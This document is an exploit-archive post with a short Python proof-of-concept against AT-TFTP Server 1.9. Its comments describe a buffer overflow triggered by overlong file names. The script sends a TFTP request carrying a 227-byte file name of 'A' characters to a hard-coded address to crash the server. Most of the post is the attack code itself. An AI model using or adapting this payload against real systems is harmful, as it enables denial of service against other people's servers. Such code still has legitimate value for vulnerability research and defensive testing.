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AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow PoC
========================================================= AT-TFTP <= 1.9 (Long Filename) Remote Buffer Overflow PoC ========================================================= #!/usr/bin/python # SUMMARY: # AT-TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP. # (http://www.alliedtelesyn.co.uk/en-gb/support/downloads/tools.asp) # It provides an implementation of the TFTPv2 protocol. # A vulnerability has been identified in TFTP Server AT-TFTP Server v1.9, which # could be exploited by remote or local attackers to execute arbitrary commands # or cause a denial of service. This flaw is due to a buffer overflow error when # handling an overly long file name (more than 227 bytes) passed to a "GET" or "PUT" # command, which could be exploited by malicious users to compromise a vulnerable # system or crash an affected application. # EXPLOIT: # Buffer Overflow (Long filename) Vulnerability Exploit # This is just a DoS exploiting code # Tested on Windows xp SP2 # # Requires python and impacket # # Coded by Liu Qixu Of NCNIPC import socket import sys host = '192.168.1.11' port = 69 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) filename = "A" * 227 mode = "netascii" data = "\x00\x02" + filename + "\0" + mode + "\0" s.sendto(data, (host, port)) # 0day.today [2024-12-25] #